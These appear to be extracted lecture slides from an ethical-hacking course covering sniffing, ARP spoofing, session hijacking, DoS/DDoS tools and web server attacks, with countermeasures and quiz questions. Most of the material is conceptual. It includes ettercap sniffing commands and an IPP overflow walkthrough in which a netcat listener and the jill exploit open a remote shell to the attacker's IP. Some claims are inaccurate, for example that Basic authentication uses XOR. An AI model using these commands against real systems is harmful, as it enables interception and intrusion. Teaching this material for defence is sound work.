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Introduction  
Sniffers attack the 

confidentiality of information 
in transmit.  
Sniffing gives the attacker a 

way to capture data and 
intercept password. These 
might be a clear text FTP, a 
Telnet password, or even 
encrypted NTLM passwords. 
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Introduction (cont’d)  
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Introduction (cont’d)  
Session hijacking is an 

attack method used to attack 
the integrity of an 
organization.  
If the attacker can 

successfully use session 
hijacking tools, he can 
literally steal someone else’s 
authenticated session. 
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Denial of service (DoS) 
attacks the availability, 
giving attacker the ability 
to prevent authorized 
users to access 
information and services 
that they have right to use.  

Introduction (cont’d)  
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Although DoS doesn’t 
give the attacker access, 
it does prevent others 
from continuing normal 
operations.  

Introduction (cont’d)  
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Introduction (cont’d)  
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Understand the security 
triangle, also known as CIA 
(Confidentiality, Integrity, 
and Availability).  

Introduction (cont’d)  
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資訊安全的三大目標 

隱密 

Introduction (cont’d)  
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A network card in 
promiscuous mode can 
receive all the data it can 
see, not just packet 
address to it.  

Sniffers 
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Sniffers (cont’d)  
Sniffing performs on a 
hub is known as passive 
sniffing.  
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Sniffers (cont’d)  

When sniffing is 
performed on a switched 
network, it is known as 
active sniffing.  
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Sniffers (cont’d)  

Sniffers operate at the 
Data Link layer of the 
OSI model.  
They allow the users to 
see all the data 
contained in the packet, 
even info that should 
remain hidden.  
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Sniffers (cont’d)  

MAC flooding and ARP 
poisoning are the two 
ways that the attacker can 
attempt to overcome the 
limitations imposed by a 
switch.  

Active Sniffing 
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Sniffers (cont’d)  

MAC flooding is the act 
of attempting to overload 
the switches content 
addressable memory 
(CAM) table.  

Active Sniffing (cont’d)  
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Sniffers (cont’d)  

Tools for performing this 
type of attack include  

Active Sniffing (cont’d)  

EtherFlood- It floods a 
switch network with 
Ethernet frame with 
random hardware address.  
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Sniffers (cont’d)  
Active Sniffing (cont’d)  
SMAC- A MAC spoofing tool 

that allows an attacker to 
spoof their MAC address.  
Macof- Macof floods the 

LAN with false MAC 
addresses in hopes of 
overloading the switches.  
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Sniffers (cont’d)  
Active Sniffing (cont’d)  
DNS resolves known domain 

names to an unknown IP 
addresses. ARP resolves 
known IP addresses to 
unknown MAC addresses.  
Both DNS and ARP are two-

step protocols. (see Fig. 7.1) 
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Sniffers (cont’d)  

DNS 

ARP 

Fig. 7.1 TCP/IP stack and ARP 
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Sniffers (cont’d)  
DNS Resolution and Requesting 

a Web Page 
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Sniffers (cont’d)  
Active Sniffing (cont’d)  
To reduce the amount of ARP 

traffic on a network system, 
implementing something 
called an ARP cache.  
The ARP cache stores the IP 

address, the MAC address, 
and a timers for each entry.  
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Sniffers (cont’d)  
Active Sniffing (cont’d)  

The timers varies from 
vendors to vendors. You 
can view the ARP cache for 
yourself by issuing the 
arp –a command.  
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Sniffers (cont’d)  
Active Sniffing (cont’d)  

Here is an example of 
how this work. First, the 
attacker would say that 
the router’s IP address is 
mapped to his MAC 
address.  

ARP Spoofing 



26 

Sniffers (cont’d)  

Second, the victim now 
attempt to connect to an 
address outside the 
subnet. The physical 
packets from the victim 
are forwarded through the 
switch and to the hacker.  

ARP Spoofing (cont’d)  
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Sniffers (cont’d)  

Finally, the hacker 
forwards the traffic on to 
the router.  

ARP Spoofing (cont’d)  
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Sniffers (cont’d)  
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Sniffers (cont’d)  
Active Sniffing (cont’d)  

After this setup is in 
place, the attacker is 
able to pull off many 
types of man-in-the-
middle attack. 

ARP Spoofing (cont’d)  
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Sniffers (cont’d)  
Active Sniffing (cont’d)  

There are many tools 
for performing ARP 
spoofing attacks for both 
Windows and Linux. A 
few are introduced here: 

ARP Spoofing (cont’d)  



31 

Sniffers (cont’d)  

Arpspoof- Part of Dsniff 
packages of tools. 

ARP Spoofing (cont’d)  
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Sniffers (cont’d)  
ARP Spoofing (cont’d)  
Ettercap- One of the most 
feared ARP poisoning tools 
because Ettercap can be 
used for ARP poisoning, for 
passive sniffing, as a 
protocol decoder, and as a 
packet grabber. 
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Sniffers (cont’d)  
Ettercap- (cont’d)  
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Sniffers (cont’d)  
ARP Spoofing (cont’d)  

As an example, Ettercap –
Nzs will start Ettercap in a 
command-line mode (-N), 
not perform an ARP storm 
for host detection (-z), and 
passively sniff IP traffic (-s). 

Ettercap- (cont’d)  
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Sniffers (cont’d)  
ARP Spoofing (cont’d)  

Ethercap can even be 
used to capture 
usernames and 
passwords by using 
the –C switch. 

Ettercap- (cont’d)  
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Sniffers (cont’d)  
ARP Spoofing (cont’d)  

Another example, to have 
ettercap run as an active 
sniffer, use the switch –a 
instead of –s:  

Ettercap- (cont’d)  

ettercap -Nza  <srcIP> <destIP>  
                         <srcMAC> <destMAC>  
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Fun with Ettercap Filters 

 
Read this then see the Flash video at: 

 http://www.irongeek.com/i.php?page=videos/ettercapfiltervid1  

http://www.irongeek.com/i.php?page=videos/ettercapfiltervid1
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Sniffers (cont’d)  
ARP Spoofing (cont’d)  
Cain- A multipurpose tool 
that has the capability to 
perform a variety of tasks, 
including ARP poisoning, 
Windows computer 
enumeration, sniffing, and 
password cracking. 
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Tools for Sniffing 

Sniffers, such as Ethereal,  
are capable of displaying 
multiple views of capture 
traffic. Three views are 
available, which include 
Summary, Detail, and Hex.  

Sniffers (cont’d)  

Ethereal 
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Tools for Sniffing (cont’d)  

Sniffers (cont’d)  

Ethereal (cont’d)  
An important feature of a 

Sniffer such as Ethereal is the  
capability it has to set up 
filters to view specific types of 
traffic. Filters can be defined in 
one of the two ways:  
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Tools for Sniffing (cont’d)  

Sniffers (cont’d)  

Ethereal (cont’d)  
Capture Filters- Used when 
you known in advance what 
you are looking for.  
Display Filters- They are 
used after the traffic is 
captured.  
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Sniffers (cont’d)  
Ethereal (cont’d)  
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Homework 

熟悉與了解Wireshark或
Ethereal抓取封包的過程。 
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Wireshark Demo 
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Wireshark Demo 
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Sniffers (cont’d)  
Other Sniffing Tools 
Packetyzer- Provides a 
Windows user interface 
for Ethereal.  
EtherPeek- A commercial 
sniffer that offers a GUI 
interface and is used on 
the Windows platform.  
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Sniffers (cont’d)  
Other Sniffing Tools (cont’d)  
Dsniff- Part of a collection 
of tools for network 
auditing and hacking.  
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Sniffers (cont’d)  
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Sniffers (cont’d)  
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Sniffers (cont’d)  
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Sniffers (cont’d)  
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Sniffers (cont’d)  
Other Sniffing Tools (cont’d)  
TCPdump- One of the 
most used network 
sniffer/analyzers for Linux.  
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Tools for Sniffing (cont’d)  

Sniffers (cont’d)  

Other Sniffing Tools (cont’d)  
Windump- A porting to 
the Windows platform of 
tcpdump, the most used 
network sniffer/analyzer 
for UNIX.  
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Countermeasures 

Sniffers (cont’d)  

Several possible solutions: 
Static ARP Entries 
Port Security 
Using Encryption (IPSec, 
VPN, SSL, or PKI ) 
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Countermeasures (cont’d)  

Sniffers (cont’d)  

Linux tools such as 
Arpwatch are also useful. 
Arpwatch keeps track of 
ethernet/ip address 
pairing and can report 
unusual changes. 
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Countermeasures (cont’d)  

Sniffers (cont’d)  

Even DNS spoofing can 
be defeated by DNS 
Security Extensions 
(DNSSEC). It digitally 
signs all DNS names to 
ensure their validity. 
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Session Hijacking 

Session hijacking takes 
sniffing to the next level.  

Hijacking is an active 
process that exploits the 
weakness in TCP/IP and in 
network communication.  
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Session Hijacking (cont’d)  
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Session Hijacking (cont’d)  
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Session Hijacking (cont’d)  
For hijacking to be 

successful, several things 
must be accomplished: 
Identify and find an active 

session 
Predict the sequence number 
Take one of the parties offline 
Take control of the session 
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Session Hijacking (cont’d)  

Spoofing is the act of 
pretending to be someone 
else, whereas hijacking 
involves taking over an 
active connection.  

TIP 
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Session Hijacking (cont’d)  
 Identify and find an active session 

The process of identifying 
and finding a session is 
much easier when the 
attacker and the victim 
are on the same segment 
of the network. 
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Session Hijacking (cont’d)  

If both users are on a hub, 
this process requires 
nothing more than 
passive sniffing. If a 
switch being used, active 
sniffing is required. 

 Identify and find an active session 
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Fig. 7.4 Session hijack 

Session Hijacking (cont’d)  
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Session Hijacking (cont’d)  
 Predict the Sequence Number 
Unlike UDP, TCP is a 

reliable protocol. It’s 
reliability is based on 
Three-step handshake 
Sequence numbers 
A method to detect 
missing data 
Flow control 
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Session Hijacking (cont’d)  
 Predict the Sequence Number (cont’d)  

A formal shut down 
process 
A way to terminate a 
session should 
something go wrong 



68 

Session Hijacking (cont’d)  
 Predict the Sequence Number (cont’d)  

Figure 7.5 shows an 
example of three-step 
handshake.  

SYN  

SYN, ACK  

ACK  
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Session Hijacking (cont’d)  
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Session Hijacking (cont’d)  
 Predict the Sequence Number (cont’d)  

The hacker needs to wait 
until user has provided a 
password and authenticated.  

This allows the hacker to 
steal trust. The trust doesn’t 
exist before the 
authentication has occurred.  
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Session Hijacking (cont’d)  
 Take one of the parties Offline 
The hacker can use a DoS or 

send a reset to the user.  
The objective is get the user 

out of communication path 
and trick the server into 
believing that the hacker is  
a legitimate client.  
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Session Hijacking (cont’d)  
 Take Control of the Session 
As long as the hacker 

maintain the session, the 
hacker has an authenticated 
connection to the server.  

This connection can be used to 
execute commands on the 
server in an attempt to further 
leverage the hacker’s position.  



73 

Session Hijacking (cont’d)  

Hacker 
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Session Hijacking (cont’d)  
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Session Hijacking (cont’d)  
 Session Hijacking Tools 
Several programs are 

available that perform 
session hijacking. The 
following are a few that 
belong to this category:  
Ettercap 
Hunt 
T-Sight 
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Session Hijacking (cont’d)  

Ethercap- It runs on Linux, 
UNIX, Windows, and Mac OS X. 
Ethercap uses four modes: 

 Session Hijacking Tools (cont’d)  

IP 
MAC 
ARP 
Public ARP 
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Session Hijacking (cont’d)  

Hunt- This is one of the best 
known session hijacking tools. 
It can watch, hijack, or reset 
TCP connections. Hunt is 
meant to be used on Ethernet 
and has active mechanism to 
sniff switched connections. 

 Session Hijacking Tools (cont’d)  
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Session Hijacking (cont’d)  

T-Sight- This commercial hijack 
tool has the capability to hijack 
any TCP sessions on the 
network, monitor all your 
network connections in real 
time, and observe the 
composition of any suspicious 
activity that take place. 

 Session Hijacking Tools (cont’d)  
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Session Hijacking (cont’d)  
 Preventing Session Hijacking 
There are two main 

mechanisms for dealing 
with hijacking problems: 
prevention and detection.  

The main way to protect 
against hijacking is 
encryption.  
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Session Hijacking (cont’d)  
 Preventing Session Hijacking (cont’d)  

If you must allow outside 
connections from trusted 
hosts, use Kerberos or 
IPSec.  
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Session Hijacking (cont’d)  
 Preventing Session Hijacking (cont’d)  

FTP and Telnet are 
vulnerable, if remote 
access is required; at least 
move to Secure Shell 
(SSH).  
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Denial of Service 
Up to this point in the book, 

most of the attackers we have 
looked at have attacked 
confidentiality and integrity.  

However, DoS targets 
availability. DoS is a blunt, 
but powerful tool that is easy 
to launch, but hard to prevent. 



84 

Denial of Service (cont’d)  
DoS is sometimes a last-ditch 

effort by attackers who have 
been unable to access the 
network.  

The attitude could be 
summarized as “ if I can’t get 
in, I’ll make sure that no one 
else does either.” 
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Denial of Service (cont’d)  

The role of DoS in the 
attacker’s methodology is 
shown in Fig. 7.6 .  
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Denial of Service (cont’d)  

In another case, the DoS 
attack is performed for 
extortion.  

A victim is typically 
contacted and asked for 
protection money to 
prevent him from being 
targeted for DoS. 
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DoS attacks represent one 
of the biggest threats on the 
Internet. DoS attacks might 
target a user or an entire 
organization and can affect 
the availability of target 
system or the entire 
organization .  

TIP 

Denial of Service (cont’d)  
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Denial of Service (cont’d)  
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Denial of Service (cont’d)  
 Type of DoS 
 DoS attacks can be 

categorized into three 
broad categories:  
Bandwidth consumption 
Resource starvation 
Programming flaw 
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Denial of Service (cont’d)  

 Bandwidth Consumption 
Bandwidth consumption 

attacks are carried out by 
blocking the 
communication capability 
of a machine or a group 
of machines to use 
bandwidth. 
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Denial of Service (cont’d)  

Some examples of these 
types of attacks include 
Smurf 
Fraggle 
Chargen 

 Bandwidth Consumption (cont’d)  
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Denial of Service (cont’d)  

Smurf- Exploits the ICMP 
by sending a spoofed ping 
packet addressed to 
broadcast address of the 
target network with the 
source address listed as 
the victim. 

 Bandwidth Consumption (cont’d)  
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Denial of Service (cont’d)  

To prevent your network 
being used to bounce smurf 
traffic, you can use the 
following command in your 
Cisco routers:  

NOTE 

no  ip  directed-broadcast 
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Denial of Service (cont’d)  

 Bandwidth Consumption (cont’d)  

Fraggle- Similar to a 
Smurf attack, whereas 
Fraggle uses UDP echo 
packets. 
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Denial of Service (cont’d)  

 Bandwidth Consumption (cont’d)  
Chargen- Linux and UNIX 

systems sometime have 
echo (port 7) and chargen 
(port 19). Echo does just 
what its name implies, 
anything in it echoes out. 
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Denial of Service (cont’d)  
The CHARGEN (character 

generator) service is an 
internet protocol. It is 
intended for testing and 
measurement purposes. 

A host may connect to a 
server that supports the 
CHARGEN protocol, on 
either TCP or UDP port 19. 
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Upon opening a TCP 
connection, the server 
starts sending arbitrary 
characters to the 
connecting host and 
continues until the host 
closes the connection.  

Denial of Service (cont’d)  
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In the UDP version of the 
protocol, the server sends 
a UDP packet containing a 
random number (between 0 
and 512) of characters 
every time it receives a 
UDP packet from the 
connecting host. 

Denial of Service (cont’d)  
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 Resource Starvation 
Resource starvation 
attacks are carried out by 
directing the flood of 
traffic at an individual 
service on a machine.  

Denial of Service (cont’d)  
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 Resource Starvation (cont’d)  

Denial of Service (cont’d)  

The resource starvation 
attack is attempting to 
overload the resources of 
a single system so that it 
becomes overloaded, 
hangs, or crashes.  
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 Resource Starvation (cont’d)  

Denial of Service (cont’d)  

These attacks target 
availability, but focus on 
individual systems.  
SYN flood 
CPU Hog 
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 Resource Starvation (cont’d)  

Denial of Service (cont’d)  

SYN flood- A SYN flood 
disrupts TCP by sending a 
large number of fake packets 
with the SYN flag set. This 
large number of half open 
TCP connections fills the 
buffer on a victim’s system. 
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 Resource Starvation (cont’d)  

Denial of Service (cont’d)  

Because the source IP 
address is spoofed in a 
SYN attack, it is hard 
for the attacker to be 
identified. 

SYN flood (cont’d) 
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 Resource Starvation (cont’d)  
CPU Hog- This DoS exploits 

targets the way that 
Windows schedules the 
execution of the process. 
The CPU hog program sets 
its priority to 16, which is 
the highest level possible. 

Denial of Service (cont’d)  
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SYN flood is the most 
well-known type of 
resource starvation attack.  

TIP 

Denial of Service (cont’d)  
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 Programming Flaw   

Denial of Service (cont’d)  

Programming flaw attacks 
are carried out by causing 
a critical error on a 
machine to halt the 
machine’s capability of 
operating.  
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 Programming Flaw (cont’d)  

Denial of Service (cont’d)  

These types of attack can 
occur when an attacker 
exploits a vulnerable 
program, sends a large 
amount of data, or sends 
weird malformed packets.  
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 Programming Flaw (cont’d)  

Denial of Service (cont’d)  

An oversized packet is 
illegal, but possible 
when fragmentation is 
used.  

Ping of death 
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Denial of Service (cont’d)  

By fragmenting a packet 
that is larger than 65,536, 
the receiver system will 
hang or suffer a buffer 
overflow when the 
fragments are 
reassembled. 

Ping of death (cont’d)  



110 

補充:Tiny Fragment Attack 

An example of how an 
attacker might fragment 
packets to evade IDS and 
IPS. 
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 Programming Flaw (cont’d)  

Denial of Service (cont’d)  

The teardrop attack sends 
packets that are malformed, 
with the fragmentation 
offset value tweaked, so 
that the receiving packets  
overlaps.  

Teardrop 
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Denial of Service (cont’d)  

The victim does not known 
how to process these  
overlapping fragments, 
and he crashes or locks up 
the receiving system, 
which causes a DoS.  

Teardrop (cont’d)  
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 Programming Flaw (cont’d)  

Denial of Service (cont’d)  

Sends a packet with the 
same source and 
destination port and IP 
address in a TCP SYN 
packet. 

Land 
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Denial of Service (cont’d)  

The receiving system does 
not known how to handle 
these  malformed packets, 
which results in the system 
freezing or locks up, 
thereby causing a DoS.  

Land (cont’d)  



115 

 Programming Flaw (cont’d)  

Denial of Service (cont’d)  

The SMB attack exploits 
vulnerability  in Microsoft 
system. It works by 
creating a malformed 
packet request that is 
sent to port 139 or 445. 

SMBdie 
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Denial of Service (cont’d)  
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Denial of Service (cont’d)  
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Denial of Service (cont’d)  
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常見的Botnet其他用途  
 Recruit other botclients 
 Harvest identity information 

and financial credentials 
 Conduct spamming campaigns 
 Conduct phishing campaigns 
 Conduct Click4Hire campaigns 
 Store and distribute stolen or 

illegal intellectual property 
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Denial of Service (cont’d)  
 Distributed DoS  
 DDoS is much more 

powerful attack than a 
normal DoS. With a normal 
DoS, the attack is being 
generated by one system.  
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Denial of Service (cont’d)  
 DDoS (cont’d)  
A DDoS takes the attack 

to the next level by using 
agents and handlers DoS. 

DDoS attackers have 
joined the world of 
distributed computing. 
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Denial of Service (cont’d)  
 DDoS (cont’d)  
One of the different 

between DoS and DDoS 
is that a DDoS attack 
consists of two distinct 
phases. 
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Denial of Service (cont’d)  
 DDoS (cont’d)  
First, the attacker must 

compromise computers 
scattered across the 
Internet and load 
software on these clients 
to aid in the attack. 
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Denial of Service (cont’d)  
 DDoS (cont’d)  
The second is the actual 

attack. At this point, the 
attacker instructs  the 
masters to communicate 
the zombies to launch the 
attack, as shown in Fig. 7.9. 
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Tracking the source of a 
DDoS attack is difficult 
because of the distance 
between the attacker and 
victim.  

NOTE 

Denial of Service (cont’d)  
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Some of the most notorious 
of the DDoS tools: 
Tribal Flood Network 
TFN2K 
Stacheldraht 

Denial of Service (cont’d)  
 DDoS (cont’d)  

Trinoo 
WinTrinoo 
Trinity 
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Denial of Service (cont’d)  

 DDoS (cont’d)  
Tribal Flood Network 
(TFN)- This was the first 
publicly available UNIX-
based DDoS tool. TFN can 
launch ICMP, Smurf, UDP, 
and SYN flood attacks.  
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Trinoo- Closed related to 
TFN, this DDoS allows a 
user to launch a 
coordinated UDP flood to 
the victim’s computer.  

 

Denial of Service (cont’d)  

 DDoS (cont’d)  
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Stacheldraht- Combines 
features of both TFN and 
Trinoo. Stacheldraht uses 
TCP and UDP  for 
communication between 
the handlers and agents.  

Denial of Service (cont’d)  

 DDoS (cont’d)  
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Another big difference is 
Stacheldraht’s use of 
encryption. It uses TCP 
port 16660 by default.  

Denial of Service (cont’d)  

 DDoS (cont’d)  
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Denial of Service (cont’d)  
 DDoS (cont’d)  
 TFN2K- TFN2K is the son 
of TFN. It allows for 
random ports to be used 
for communication. 
TFN2K doesn’t use strong 
encryption. It uses Base64, 
which is considered weak.   
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Denial of Service (cont’d)  

 DDoS (cont’d)  
 WinTrinoo- WinTrinoo 
can use Windows system 
as zombies. It listens on 
TCP and UDP port 34555.   
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Denial of Service (cont’d)  
 DDoS (cont’d)  
 Trinity- This DDoS use 
TCP port 6667 and also 
has a backdoor 
component that listens 
on TCP port 33270.  
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Denial of Service (cont’d)  
 DDoS (cont’d)  
 Trinity is capable of 
launching several types 
of flooding attacks, 
including UDP, fragment, 
SYN, RST, ACK, and 
others. 



135 

Table 7.2 DDoS Tools 

Denial of Service (cont’d)  
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Denial of Service (cont’d)  

Reflected DDoS attacks 
bouncing off of high-
bandwidth sites. 
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Denial of Service (cont’d)  
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Denial of Service (cont’d)  
 DoS Countermeasure 
 By using a combination 

of techniques and 
building defense in depth, 
a more secure network 
can be built.  
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Denial of Service (cont’d)  
 DoS Countermeasure (cont’d)  
Intrusion detection system 

(IDS) can help play a part 
in defending against DoS 
attack. Although they may 
not prevent the attack, 
they can help you detect it 
early on.  
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Denial of Service (cont’d)  
 DoS Countermeasure (cont’d)  
Implement bandwidth 

limitations. For example, 
you might give HTTP 
40% of the bandwidth, 
whereas SMTP is only 
allocated 10%.  
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Denial of Service (cont’d)  
 DoS Countermeasure (cont’d)  
(cont’d) Programs such 

as IPTables can be used 
to rate-limited traffic and 
can filter on TCP flag and 
TCP options.  
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Denial of Service (cont’d)  
 DoS Countermeasure (cont’d)  
Practice effective patch 

management.  
Allow only necessary 

traffic.  
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Denial of Service (cont’d)  
 DoS Countermeasure (cont’d)  
Many tools are available 

to scan for DDoS tools, 
which include  
Zombie Zapper 
RID 
DDoSPing 
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Denial of Service (cont’d)  
 DoS Countermeasure (cont’d)  
Zombie Zapper- This tool 
will run on UNIX and 
Windows. It can be used 
to instruct daemons to 
stop an attack. 
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Denial of Service (cont’d)  
 DoS Countermeasure (cont’d)  
RID- A configurable 
remote DDoS tool 
detector can remotely 
detect Stacheldraht, TFN, 
Trinoo, and TFN2K if the 
attacker did not change 
the default ports. 
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Denial of Service (cont’d)  
 DoS Countermeasure (cont’d)  
DDoSPing- A Windows 
GUI scanner for the DDoS, 
agents, Stacheldraht, TFN, 
Trinoo, and WinTrinoo.  
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The most important 
defense is to be proactive. 
This means that you need 
to have a plan in place 
with ISP; they can help 
stop traffic upstream.  

NOTE 

Denial of Service (cont’d)  
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Outline 

Introduction  
Sniffers 
Session Hijacking 

Exercises 
Denial of Service 
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Exercises 

Ans: B 

This form of active sniffing is 
characterized by a large number 
of packets with bogus MAC 
addresses. 
A. Active sniffing 
B. MAC flooding 
C. ARP poisoning 
D. Passive sniffing 
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Exercises (cont’d) 

Ans: C 

How many step are in the 
ARP process?  
A. 4 
B. 3 
C. 2 
D. 1 
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Ans: D 

Which of the following is a 
tool used to find DDoS 
program? 
A. Trinoo 
B. Trinity 
C. Stacheldraht 
D. DDoSPing 

Exercises (cont’d) 
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Ans: C 

Which of the following is not 
a DoS program? 
A. Smurf 
B. Land 
C. Stacheldraht 
D. Fraggle 

Exercises (cont’d) 
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Ans: C 

Which of the following is a 
DDoS program? 
A. Ping of death 
B. Teardrop 
C. Stacheldraht 
D. Chargen 

Exercises (cont’d) 



154 Ans: C 

When would an attacker to 
perform session hijacking? 
A. At the point that the three-

step handshake completes 
B. Before authentication 
C. After authentication 
D. Right before the four-step 

shutdown 

Exercises (cont’d) 
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You are attempting to DoS 
a target by sending 
fragments that when 
reconstructed are over 
65,536. From the 
information given, what 
kind of DoS attack is this? 

Exercises (cont’d) 
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Exercises (cont’d) 

Ans: C 

A. Smurf 
B. SYN flood 
C. Ping of Death 
D. Land 
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Ans: B 

DoS attacks target which of 
the following? 
A. Authentication 
B. Availability 
C. Integrity 
D. Confidentiality 

Exercises (cont’d) 
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Which of the following is a 
valid defense against DNS 
poisoning? 
A. Disable zone transfer 
B. Block TCP 53 
C. Disable DNS timeout 
D. DNSSEC 

Exercises (cont’d) 
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Web Server Hacking, 
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Introduction  
As an ethical hacker, you 
might be asked to help 
develop defense to guard 
your organization’s web-
based assets, or you 
might be part of a 
penetration team tasked 
with finding weakness. 



4 

Introduction (cont’d)  
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Introduction (cont’d)  
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Introduction (cont’d)  
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Introduction (cont’d)  
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Introduction (cont’d)  
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Outline 

Introduction  
Web Server Hacking 
Web Application 

Hacking 

Exercises 
Database Overview 
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While Internet 
Information Server (IIS) 
remains one of the most 
popular web servers, it 
has lost ground to the 
leader, Apache.  

Web Server Hacking 
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Web Server Hacking (cont’d)  
A variety of web 
applications that the web 
servers runs, such as 
Hypertext Preprocessor 
(PHP), Active Server Page 
(ASP), or common 
gateway interface (CGI).  
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Web Server Hacking (cont’d)  
An overview of this 
infrastructure is shown in 
Fig. 8.1.  
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Web Server Hacking (cont’d)  
Web attacks focus on the 
following:  
Scanning 
Banner grabbing 
Attacking the web server 
Surveying the application 
Attacking authentication 
Exploiting the database 
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Web Server Hacking (cont’d)  
Scanning Web Servers 
In addition to scan ports 
80 and 443, other ports 
should be scanned when 
you look for web-based 
applications. These 
include the following: 
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Web Server Hacking (cont’d)  
Scanning Web Servers (cont’d)  

80 - HTTP 
88 - Kerberos 
8080 - Squid 
8888 – Alternate Web Server 
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Web Server Hacking (cont’d)  
Banner Grabber & Enumeration 
After Web servers have 
been identified, the 
attacker usually attempts 
to enumerate additional 
details about the server 
and its components.  
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Web Server Hacking (cont’d)  
Banner Grabber & Enumeration 

IIS web server 
Apache web server 
Sun ONE web server 

Popular web servers 
include 
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Web Server Hacking (cont’d)  
Banner Grabber & Enumeration 
One great tool that requires 

no install is available at 
www.netcraft.com. Netcraft 
runs a great service called 
“What’s this site running,” 
which gathers details about 
web servers. (see Fig. 8.2) 

http://www.netcraft.com/
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Web Server Hacking (cont’d)  
Banner Grabber & Enumeration 
We can also use tools, 

such as Telnet and Netcat, 
to identify the web server. 

Example of Telnet : 

C:\>Telnet www.example.com 80 
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Web Server Hacking (cont’d)  
Banner Grabber & Enumeration 
Example of Netcat : 
create a text file called a.txt.  
     GET HEAD /1.0 
      CR 
      CR 
 nc –vv webServer 80 < a.txt 
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Web Server Hacking (cont’d)  
Banner Grabber & Enumeration 
Site rippers (網站黏土) are 

a good way to make a 
duplicate of that has been 
handily stored on your 
hard drivers. 
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Web Server Hacking (cont’d)  
Banner Grabber & Enumeration 

These programs allow you 
to go through the site a 
page at a time and 
examine the HTML code to 
look for useful info. 
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Web Server Hacking (cont’d)  
Banner Grabber & Enumeration 
Wget is a command-line 

tool for Windows and UNIX 
that will download the 
contents of a website, an 
open source site ripper, 
duplicator.  
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Web Server Hacking (cont’d)  
Web Server Vulnerability Identification 

After the attacker has 
identified the vendor and 
version of the web server, 
he will then search for 
vulnerability.  
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Web Server Hacking (cont’d)  
Web Server Vulnerability Identification 

Some of the sites the 
attacker and security 
administrators would most 
likely visit to identify 
possible vulnerabilities 
include 
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Web Server Hacking (cont’d)  
Web Server Vulnerability Identification 

www.securityfocus.com 

www.packetstormsecurity.org 

http://nvd.nist.gov 

http://neworder.box.sk 
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Attacks Against Web Servers 
IIS Vulnerabilities 

Web Server Hacking (cont’d)  

Recently,  IIS has gained 
quite a reputation for itself. 
Unfortunately, a big part of 
that reputation is for a 
lack of security. 
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Web Server Hacking (cont’d)  
IIS Vulnerabilities (cont’d)  
This chapter introduces a 
few of the more publicized 
vulnerabilities that have 
made headlines. These 
attacks can be 
categorized as one of the 
following: 
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Web Server Hacking (cont’d)  

Buffer overflow attack 

Source disclosure attack 

File system traversal attack 

IIS Vulnerabilities (cont’d)  
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Web Server Hacking (cont’d)  

Buffer overflow attack 
IIS Vulnerabilities (cont’d)  

The ISAPI DLL Buffer 
Overflow attack was 
originally discovered in 
June 2001. It affects 
Windows NT and 2000. 
The exploit targets idd.dll. 
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Web Server Hacking (cont’d)  

Buffer overflow attack (cont’d)  
IIS Vulnerabilities (cont’d)  

The IPP Printer Overflow 
attack was discovered in 
2001 and affected Windows 
2000 systems running IIS 5.0. 
It also targets the ISAPI filter 
that handles .printer files. 
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Web Server Hacking (cont’d)  
Buffer overflow attack (cont’d)  
Here is how the exploit 

works in three simple steps: 

nc -vv –l –p  #port 

c:\>jill0win32  victimIP  port   
                                    attackerIP  port 

c:\>ipconfig 
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Web Server Hacking (cont’d)  

Source disclosure attack 
IIS Vulnerabilities (cont’d)  

This type of attack can 
uncover password, web 
design, or business logic. 
(please see the details in 
p. 304~305)  
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Web Server Hacking (cont’d)  

File system traversal attack 
IIS Vulnerabilities (cont’d)  

This vulnerability allows 
an attacker to back out of 
the current directory and 
go whatever he would 
like within the logical 
device’s structure. 
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Web Server Hacking (cont’d)  
File system traversal attack 
Unicode syntax of ../../../, 
an attacker can traverse 
out of the current directory 
and run programs such as 
cmd.exe. 
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Web Server Hacking (cont’d)  
File system traversal attack 

 Once an attacker can 
execute commands on the 
local system, he is only a 
few steps away from 
owning the box. 
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Web Server Hacking (cont’d)  
Securing IIS 
Five good defenses to 
get you started include 
Harden before you employ 
Patch management 
Disable unneeded services 
Lock down file system 
Logging and auditing 
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Web Server Hacking (cont’d)  
Securing IIS (cont’d)  
It is also advisable to 
periodically run 
vulnerability scanners to 
look for weaknesses.  
Nessus 
Whisker 
N-stealth Scanner 
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Web Application Hacking 
Hidden Fields 
Hidden fields is a poor 

coding practice that has 
been known and 
publicized for some time, 
although it still continue.  
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Web Application Hacking (cont’d)  
Hidden Fields (cont’d)  
Many sites use these 

hidden value fields to 
store the price of the 
product that is passed to 
the web application.  
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Web Application Hacking (cont’d)  
Hidden Fields (cont’d)  

If no input validation is 
performed, the application 
will accept the new, 
manipulated value.  
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Web Application Hacking (cont’d)  
Hidden Fields (cont’d)  
Some poor written 

applications will even 
accept a negative value.  
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Web Application Hacking (cont’d)  
Hidden Fields (cont’d)  
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Web Application Hacking (cont’d)  
Hidden Fields (cont’d)  
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Web Application Hacking (cont’d)  
Hidden Fields (cont’d)  
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Web Application Hacking (cont’d)  

資料來源:應用服務安全實作 
－Web應用程式之威脅與防護

李倫銓講師 (CISSP 、 BS 
7799LA) 
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Web Application Hacking (cont’d)  
Hidden Fields (cont’d)  
Before you get too excited 

about it, remember that 
completing the order 
would be seen as theft 
and/or fraud.  
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Web Application Hacking (cont’d)  

Authentication can include 
something you know, such as 
a username and a password; 
something you have, such as 
a token or smart card; or even 
something you are, such as 
fingerprints, retina scans, or 
voice recognition.  

Web-based Authentication 
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Web Application Hacking (cont’d)  
Web-based Authentication (cont’d)  

The authentication types that 
will be discussed in this 
section include 
Basic 
Message digest 
Certificate-based 
Forms-based 
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Web Application Hacking (cont’d)  
Web-based Authentication (cont’d)  
Basic authentication is 

achieved through the process 
of XOR. It’s a weak form of 
encryption, and many tools 
can be used to comprise it. 
Cain has a basic encryption 
cracking tool built in. 
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Web Application Hacking 
Web-based Authentication (cont’d)  

Message digest 
authentication is a big 
improvement over basic. 
Message digest uses the 
MD5 hashing algorithm.  
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Web Application Hacking (cont’d)  
Web-based Authentication (cont’d)  
Message digest uses the 
username, the password, 
and a nonce value to create 
an encrypted value that is 
passed to the server. 
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Web Application Hacking (cont’d)  
Web-based Authentication (cont’d)  

The nonce value makes it 
much more resistant to 
cracking and makes sniffing 
attacks useless. 
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Web Application Hacking (cont’d)  
Web-based Authentication (cont’d)  

 Certificate-based 
authentication is the 
strongest form of 
authentication discussed 
so far.  

Web Application Hacking (cont’d)  
Web-based Authentication (cont’d)  
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 Certificate-based 
authentication uses 
public key cryptography.  

Web Application Hacking (cont’d)  
Web-based Authentication (cont’d)  
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Web Application Hacking (cont’d)  
Web-based Authentication (cont’d)  
 Form-based authentication 
is widely used on the 
Internet. It functions 
through the use of a cookie 
that is issued to a client. 
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Web Application Hacking (cont’d)  
Web-based Authentication (cont’d)  

 After being authenticated, 
the application generates  a 
